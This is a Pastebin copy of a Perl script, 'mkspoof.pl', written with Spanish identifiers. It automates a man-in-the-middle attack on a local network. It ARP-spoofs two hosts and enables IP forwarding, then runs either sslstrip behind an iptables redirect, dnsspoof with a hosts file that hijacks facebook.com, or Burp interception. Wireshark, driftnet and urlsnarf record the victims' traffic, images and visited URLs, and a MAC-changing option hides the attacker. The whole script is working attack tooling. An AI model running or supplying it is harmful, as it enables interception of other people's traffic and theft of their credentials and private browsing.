Advertisement
miguelangelgarcia

mkspoof.pl

Jan 22nd, 2014
675
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.07 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use strict;
  3. use warnings;
  4.  
  5.  
  6.  
  7. use constant CONSTANTE_SSL => "-ssl";
  8. use constant CONSTANTE_DNS => "-dns";
  9. use constant CONSTANTE_BURP => "-burp";
  10.  
  11. my $lStrNombreScript = "./mkspoof";
  12. my $lStrRutaHelper = "./helper.sh";
  13. my $lStrHostsDns = "dns_hosts_spoof.txt";
  14.  
  15. my $lIntNumeroArgumentos = $#ARGV + 1;
  16. my $lStrCadenaEjecucion = "gnome-terminal -x $lStrRutaHelper";
  17.  
  18. my $lStrDir;
  19. my $lStrCapturaHTTP;
  20. my $lStrCapturaWireshark;
  21.  
  22. my $lStrArgumentos = UnificarParametros(" ", @ARGV);
  23.  
  24. if($lIntNumeroArgumentos == 1 && ($ARGV[0] eq "--version" || $ARGV[0] eq "-v" ))
  25. {
  26. ImprimirVersion();
  27. }
  28. elsif($lIntNumeroArgumentos == 1 && ($ARGV[0] eq "--desactivar" || $ARGV[0] eq "-d" ))
  29. {
  30. Desactivar();
  31. }
  32. elsif($lIntNumeroArgumentos == 2 && (index($lStrArgumentos, "--mac") != -1) && (index($lStrArgumentos, "-i=") != -1))
  33. {
  34. my $lStrInterfaz = ObtenerContenidoEntreElementos($lStrArgumentos, "-i=", " ", 0);
  35. if($lStrInterfaz eq "")
  36. {
  37. print("No se especificó interfaz de red\n\n");
  38. ImprimirUso();
  39. }
  40. else
  41. {
  42. CambiarMac($lStrInterfaz);
  43. }
  44. }
  45. elsif($lIntNumeroArgumentos == 4 && index($lStrArgumentos, "-h1=") != -1 && index($lStrArgumentos, "-h2=") != -1 && index($lStrArgumentos, "-i=") != -1)
  46. {
  47. my $lIntNumeroOpciones = 0;
  48. my $lBlnParametrosCorrectos = 1;
  49. my $lStrIP1;
  50. my $lStrIP2;
  51. my $lStrInterfaz;
  52. my $lStrOpcion;
  53.  
  54. $lStrIP1 = ObtenerContenidoEntreElementos($lStrArgumentos, "-h1=", " ", 0);
  55. $lStrIP2 = ObtenerContenidoEntreElementos($lStrArgumentos, "-h2=", " ", 0);
  56.  
  57. if($lBlnParametrosCorrectos)
  58. {
  59. if($lStrIP1 eq $lStrIP2)
  60. {
  61. $lBlnParametrosCorrectos = 0;
  62. print("Las IPs para -h1- y -h2- no pueden tener el mismo valor.\n\n");
  63. ImprimirUso();
  64. }
  65. }
  66.  
  67. if($lBlnParametrosCorrectos)
  68. {
  69. $lBlnParametrosCorrectos = EsIPv4Valida($lStrIP1) && EsIPv4Valida($lStrIP2);
  70. if(!$lBlnParametrosCorrectos)
  71. {
  72. print("Las IPs para -h1- y -h2- tienen que ser IPv4 válidas.\n\n");
  73. ImprimirUso();
  74. }
  75. }
  76.  
  77. if($lBlnParametrosCorrectos)
  78. {
  79. if(index($lStrArgumentos, CONSTANTE_SSL) != -1)
  80. {
  81. $lIntNumeroOpciones++;
  82. $lStrOpcion = CONSTANTE_SSL;
  83. }
  84. if(index($lStrArgumentos, CONSTANTE_DNS) != -1)
  85. {
  86. $lIntNumeroOpciones++;
  87. $lStrOpcion = CONSTANTE_DNS;
  88. }
  89. if(index($lStrArgumentos, CONSTANTE_BURP) != -1)
  90. {
  91. $lIntNumeroOpciones++;
  92. $lStrOpcion = CONSTANTE_BURP;
  93. }
  94.  
  95. if($lIntNumeroOpciones > 1)
  96. {
  97. $lBlnParametrosCorrectos = 0;
  98. print("Seleccione una opción: " . CONSTANTE_SSL . ", " . CONSTANTE_DNS . " o " . CONSTANTE_BURP . "\n\n");
  99. ImprimirUso();
  100. }
  101. elsif($lIntNumeroOpciones == 0)
  102. {
  103. $lBlnParametrosCorrectos = 0;
  104. print("Se debe seleccionar una opción: " . CONSTANTE_SSL . ", " . CONSTANTE_DNS . " o " . CONSTANTE_BURP . "\n\n");
  105. ImprimirUso();
  106. }
  107. }
  108.  
  109. if($lBlnParametrosCorrectos)
  110. {
  111. $lStrInterfaz = ObtenerContenidoEntreElementos($lStrArgumentos, "-i=", " ", 0);
  112. if($lStrInterfaz eq "")
  113. {
  114. $lBlnParametrosCorrectos = 0;
  115. print("No se especificó interfaz de red\n\n");
  116. ImprimirUso();
  117. }
  118. }
  119.  
  120. if($lBlnParametrosCorrectos && $lStrOpcion eq CONSTANTE_SSL)
  121. {
  122. ActivarSSL($lStrIP1, $lStrIP2, $lStrInterfaz, $lStrOpcion);
  123. }
  124. elsif($lBlnParametrosCorrectos && $lStrOpcion eq CONSTANTE_DNS)
  125. {
  126. ActivarDNS($lStrIP1, $lStrIP2, $lStrInterfaz, $lStrOpcion);
  127. }
  128. elsif($lBlnParametrosCorrectos && $lStrOpcion eq CONSTANTE_BURP)
  129. {
  130. ActivarBURP($lStrIP1, $lStrIP2, $lStrInterfaz, $lStrOpcion);
  131. }
  132. }
  133. else
  134. {
  135. ImprimirUso();
  136. }
  137.  
  138. sub EsIPv4Valida
  139. {
  140. return $_[0] =~ m/^([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})/;
  141. }
  142.  
  143. sub UnificarParametros
  144. {
  145. my ($lStrSeparador, @lArrParametros) = @_;
  146. my $lStrResultado = "";
  147. foreach(@lArrParametros)
  148. {
  149. $lStrResultado = $lStrResultado . "$_$lStrSeparador";
  150. }
  151.  
  152. return $lStrResultado;
  153. }
  154.  
  155. sub CambiarMac
  156. {
  157. my $pStrIdentificador = $_[0];
  158.  
  159. system("ifconfig $pStrIdentificador down");
  160. system("macchanger -r $pStrIdentificador");
  161. system("ifconfig $pStrIdentificador up");
  162. }
  163.  
  164. sub ImprimirVersion
  165. {
  166. print("\nVersión: 2.4\n");
  167. print("Autor: Miguel Ángel García\n");
  168. print("Web: http://www.nodoraiz.com\n\n");
  169. }
  170.  
  171. sub ImprimirUso
  172. {
  173. print("\nUso: $lStrNombreScript -i=interfaz_red -h1=ip_host1 -h2=ip_host2 { " , CONSTANTE_SSL, " | " , CONSTANTE_DNS, " | " , CONSTANTE_BURP, " }\n");
  174. print(" - Ejemplo para captura de tráfico SSL: $lStrNombreScript -i=eth0 -h1=192.168.0.5 -h2=192.168.0.254 " , CONSTANTE_SSL, "\n");
  175. print(" - Ejemplo para uso de técnica DNS Spoof: $lStrNombreScript -i=eth0 -h1=192.168.0.5 -h2=192.168.0.254 " , CONSTANTE_DNS, "\n");
  176. print(" - Ejemplo para redirección a BURP: $lStrNombreScript -i=eth0 -h1=192.168.0.5 -h2=192.168.0.254 " , CONSTANTE_BURP, "\n");
  177. print(" - ip_host1 e ip_host2 tienen que ser IPv4 válidas, ejemplo: 10.0.2.3\n");
  178. print(" - ip_host1 e ip_host2 tienen que ser IPv4 distintas\n");
  179. print("\n");
  180. print("Uso: $lStrNombreScript { --desactivar | -d }\n");
  181. print(" - Desactiva la captura activa\n");
  182. print("\n");
  183. print("Uso: $lStrNombreScript -i=interfaz_red --mac \n");
  184. print(" - Cambia la dirección MAC del adaptador especificado\n");
  185. print("\n");
  186. print("Uso: $lStrNombreScript { --version | -v }\n");
  187. print("\n");
  188. }
  189.  
  190. sub ObtenerPIDTerminales
  191. {
  192. my @lArrTerminales = split("\n", `ps -e | ps -e | grep $_[0] | awk '{print \$2}'`);
  193. my @lArrPIDs;
  194.  
  195. foreach (@lArrTerminales)
  196. {
  197. push (@lArrPIDs, Trim(`ps -e | grep bash | grep $_ | awk '{print \$1}'`));
  198. }
  199.  
  200. return @lArrPIDs;
  201. }
  202.  
  203. sub CrearHelper
  204. {
  205. system("echo '#! /bin/bash\n\$@\n/bin/bash' > $lStrRutaHelper");
  206. system("chmod +x $lStrRutaHelper");
  207. print("Se ha creado el script -$lStrRutaHelper- para facilitar la ejecución de los comandos\n");
  208. }
  209.  
  210. sub CrearFicheroHostsDns
  211. {
  212. system("echo '127.0.0.1\t*.facebook.com\n127.0.0.1\tfacebook.com' > $lStrHostsDns");
  213. print("Se ha creado el fichero -$lStrHostsDns- para la técnica DNS Spoof. Si se modifica su contenido será necesario reiniciar el script de spoof\n");
  214. }
  215.  
  216. sub Trim
  217. {
  218. $_[0] =~ s/^\s+//m;
  219. $_[0] =~ s/\s+$//m;
  220. return $_[0];
  221. }
  222.  
  223. sub ObtenerContenidoEntreElementos
  224. {
  225. my ($contenido, $inicio, $fin, $offset) = @_;
  226. my $resultado = "";
  227.  
  228. my $indiceInicio = index($contenido, $inicio, $offset);
  229. my $indiceFin = -1;
  230.  
  231. if( $indiceInicio != -1)
  232. {
  233. $indiceFin = index($contenido, $fin, $indiceInicio + length($inicio));
  234. if( $indiceFin > 0)
  235. {
  236. $resultado = substr($contenido, $indiceInicio + length($inicio), $indiceFin - $indiceInicio - length($inicio));
  237. }
  238. }
  239.  
  240. return $resultado;
  241. }
  242.  
  243. sub Desactivar
  244. {
  245. my $lStrActividad = `cat .resultados`;
  246. $lStrDir = ObtenerContenidoEntreElementos($lStrActividad, ":1:", ":2:", 0);
  247. my $lStrModo = ObtenerContenidoEntreElementos($lStrActividad, ":2:", ":3:", 0);
  248.  
  249. system("kill `ps -e | grep arpspoof | awk '{print \$1}'`");
  250. print("Se ha solicitado la finalización de \"arpspoof\"\n");
  251. system("kill `ps -e | grep urlsnarf | awk '{print \$1}'`");
  252. print("Se ha solicitado la finalización de \"urlsnarf\"\n");
  253. if($lStrModo eq CONSTANTE_SSL)
  254. {
  255. system("kill `ps -e | grep sslstrip | awk '{print \$1}'`");
  256. print("Se ha solicitado la finalización de \"sslstrip\"\n");
  257. system("iptables -t nat --flush");
  258. print("Se ha borrado correctamente el enrutado de \"iptables\"\n");
  259. }
  260. elsif($lStrModo eq CONSTANTE_DNS)
  261. {
  262. system("kill `ps -e | grep dnsspoof | awk '{print \$1}'`");
  263. print("Se ha solicitado la finalización de \"dnsspoof\"\n");
  264. }
  265. elsif($lStrModo eq CONSTANTE_BURP)
  266. {
  267. system("kill `ps -e | grep java | awk '{print \$1}'`");
  268. print("Se ha solicitado la finalización de \"Burp\"\n");
  269. system("iptables -t nat --flush");
  270. print("Se ha borrado correctamente el enrutado de \"iptables\"\n");
  271. }
  272.  
  273. system("kill `ps -e | grep driftnet | awk '{print \$1}'`");
  274. print("Se ha solicitado la finalización de \"driftnet\"\n");
  275. system("kill `ps -e | grep wireshark | awk '{print \$1}'`");
  276. print("Se ha solicitado la finalización de \"wireshark\"\n");
  277. system("echo 0 > /proc/sys/net/ipv4/ip_forward");
  278. print("Se ha restablecido el valor por defecto para \"ip_forward\"\n");
  279.  
  280. my $lIntCiclosMaximos = 15;
  281. my $i = 0;
  282. my $lBlnFinalizar = 0;
  283. do
  284. {
  285. my $temp = `ps -A | egrep -w 'arpspoof|urlsnarf|sslstrip|dnsspoof|wireshark|driftnet|java'`;
  286. $lBlnFinalizar = ($temp eq "");
  287. if($lBlnFinalizar)
  288. {
  289. $i = $lIntCiclosMaximos;
  290. }
  291. else
  292. {
  293. $i++;
  294. print("Iteración [$i/$lIntCiclosMaximos]. Se dormirá 1 segundo esperando a que los procesos finalicen.\n");
  295. system("sleep 1");
  296. }
  297. }while($i < $lIntCiclosMaximos);
  298.  
  299.  
  300. if($lBlnFinalizar)
  301. {
  302. print("Se han finalizado todos los procesos\n");
  303.  
  304. my @lArrTerminalesPids;
  305. push (@lArrTerminalesPids, ObtenerPIDTerminales("helper.sh"));
  306.  
  307. foreach(@lArrTerminalesPids)
  308. {
  309. system("kill -9 $_");
  310. }
  311.  
  312. print("Se han cerrado todas las terminales.\n");
  313. }
  314. else
  315. {
  316. print("No se pudieron finalizar las terminales porque los siguientes procesos no pudieron ser detenidos:\n");
  317. print(`ps -A | egrep -w 'arpspoof|urlsnarf|sslstrip|dnsspoof|wireshark|driftnet|java'`);
  318. }
  319.  
  320. system("rm $lStrRutaHelper");
  321. print("Eliminado el script -$lStrRutaHelper-\n");
  322.  
  323. system("nautilus $lStrDir");
  324. system("rm .resultados");
  325.  
  326. print("\n");
  327. }
  328.  
  329. sub ActivarSSL
  330. {
  331. my($pStrIP1, $pStrIP2, $pStrInterfaz, $pStrModo) = @_;
  332.  
  333. if (!(-e "$lStrRutaHelper"))
  334. {
  335. CrearHelper();
  336. }
  337.  
  338. $lStrDir = Trim(`date '+./resultados_%Y.%m.%d_%H.%M.%S'`);
  339. system("mkdir $lStrDir");
  340. print("Se ha creado el directorio -$lStrDir-, se guardarán los resultados en su interior.\n");
  341. system("echo :1:$lStrDir:2:$pStrModo:3: > .resultados");
  342.  
  343. system("echo 1 > /proc/sys/net/ipv4/ip_forward");
  344. print("Se ha activado el ip_forward.\n");
  345.  
  346. system("$lStrCadenaEjecucion arpspoof -i $pStrInterfaz -t $pStrIP1 $pStrIP2");
  347. print("Habilitado -arpspoof- sobre $pStrIP1, se suplantará a $pStrIP2.\n");
  348.  
  349. system("$lStrCadenaEjecucion arpspoof -i $pStrInterfaz -t $pStrIP2 $pStrIP1");
  350. print("Habilitado -arpspoof- sobre $pStrIP2, se suplantará a $pStrIP1.\n");
  351.  
  352. system("iptables -F");
  353. system("iptables -t nat -F");
  354. system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000");
  355. print("Se ha establecido un enrutado en iptables para dirigir todo el tráfico HTTP por el puerto 10000.\n");
  356.  
  357. $lStrCapturaHTTP = "$lStrDir/captura_http.txt";
  358. system("$lStrCadenaEjecucion sslstrip -k -l 10000 -w $lStrCapturaHTTP");
  359. print("Activada captura de tráfico HTTP, se guardará en -$lStrCapturaHTTP-.\n");
  360.  
  361. $lStrCapturaWireshark = "$lStrDir/captura_wireshark.pcap";
  362. system("$lStrCadenaEjecucion wireshark -i $pStrInterfaz -k -S -w $lStrCapturaWireshark");
  363. print("Iniciado -wireshark-, se guardará el tráfico capturado en -$lStrCapturaWireshark-.\n");
  364.  
  365. system("$lStrCadenaEjecucion driftnet -d $lStrDir -a -s");
  366. print("Iniciado -driftnet-, se guardarán las imágenes visualizadas y audio MPEG en -$lStrDir-.\n");
  367.  
  368. system("$lStrCadenaEjecucion urlsnarf");
  369. print("Activada captura de enlaces visitados con -urlsnarf-.\n");
  370. }
  371.  
  372. sub ActivarDNS
  373. {
  374. my($pStrIP1, $pStrIP2, $pStrInterfaz, $pStrModo) = @_;
  375.  
  376. if (!(-e "$lStrRutaHelper"))
  377. {
  378. CrearHelper();
  379. }
  380.  
  381. $lStrDir = Trim(`date '+./resultados_%Y.%m.%d_%H.%M.%S'`);
  382. system("mkdir $lStrDir");
  383. print("Se ha creado el directorio -$lStrDir-, se guardarán los resultados en su interior.\n");
  384. system("echo :1:$lStrDir:2:$pStrModo:3: > .resultados");
  385.  
  386. system("echo 1 > /proc/sys/net/ipv4/ip_forward");
  387. print("Se ha activado el ip_forward.\n");
  388.  
  389. system("$lStrCadenaEjecucion arpspoof -i $pStrInterfaz -t $pStrIP1 $pStrIP2");
  390. print("Habilitado -arpspoof- sobre $pStrIP1, se suplantará a $pStrIP2.\n");
  391.  
  392. system("$lStrCadenaEjecucion arpspoof -i $pStrInterfaz -t $pStrIP2 $pStrIP1");
  393. print("Habilitado -arpspoof- sobre $pStrIP2, se suplantará a $pStrIP1.\n");
  394.  
  395. if (!(-e "$lStrHostsDns"))
  396. {
  397. CrearFicheroHostsDns();
  398. }
  399. system("$lStrCadenaEjecucion dnsspoof -i $pStrInterfaz -f $lStrHostsDns");
  400. print("Activada -dnsspoof-, se utilizará el mapeo definido en -$lStrHostsDns-.\n");
  401.  
  402. $lStrCapturaWireshark = "$lStrDir/captura_wireshark.pcap";
  403. system("$lStrCadenaEjecucion wireshark -i $pStrInterfaz -k -S -w $lStrCapturaWireshark");
  404. print("Iniciado -wireshark-, se guardará el tráfico capturado en -$lStrCapturaWireshark-.\n");
  405.  
  406. system("$lStrCadenaEjecucion driftnet -d $lStrDir -a -s");
  407. print("Iniciado -driftnet-, se guardarán las imágenes visualizadas y audio MPEG en -$lStrDir-.\n");
  408.  
  409. system("$lStrCadenaEjecucion urlsnarf");
  410. print("Activada captura de enlaces visitados con -urlsnarf-.\n");
  411. }
  412.  
  413. sub ActivarBURP
  414. {
  415. my($pStrIP1, $pStrIP2, $pStrInterfaz, $pStrModo) = @_;
  416.  
  417. if (!(-e "$lStrRutaHelper"))
  418. {
  419. CrearHelper();
  420. }
  421.  
  422. $lStrDir = Trim(`date '+./resultados_%Y.%m.%d_%H.%M.%S'`);
  423. system("mkdir $lStrDir");
  424. print("Se ha creado el directorio -$lStrDir-, se guardarán los resultados en su interior.\n");
  425. system("echo :1:$lStrDir:2:$pStrModo:3: > .resultados");
  426.  
  427. system("echo 1 > /proc/sys/net/ipv4/ip_forward");
  428. print("Se ha activado el ip_forward.\n");
  429.  
  430. system("$lStrCadenaEjecucion arpspoof -i $pStrInterfaz -t $pStrIP1 $pStrIP2");
  431. print("Habilitado -arpspoof- sobre $pStrIP1, se suplantará a $pStrIP2.\n");
  432.  
  433. system("$lStrCadenaEjecucion arpspoof -i $pStrInterfaz -t $pStrIP2 $pStrIP1");
  434. print("Habilitado -arpspoof- sobre $pStrIP2, se suplantará a $pStrIP1.\n");
  435.  
  436. system("iptables -F");
  437. system("iptables -t nat -F");
  438. system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080");
  439. print("Se ha establecido un enrutado por iptables el tráfico HTTP por el puerto 8080.\n");
  440. system("$lStrCadenaEjecucion burpsuite.jar");
  441. print("Iniciado -Burp-.\n");
  442.  
  443. $lStrCapturaWireshark = "$lStrDir/captura_wireshark.pcap";
  444. system("$lStrCadenaEjecucion wireshark -i $pStrInterfaz -k -S -w $lStrCapturaWireshark");
  445. print("Iniciado -wireshark-, se guardará el tráfico capturado en -$lStrCapturaWireshark-.\n");
  446.  
  447. system("$lStrCadenaEjecucion driftnet -d $lStrDir -a -s");
  448. print("Iniciado -driftnet-, se guardarán las imágenes visualizadas y audio MPEG en -$lStrDir-.\n");
  449. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement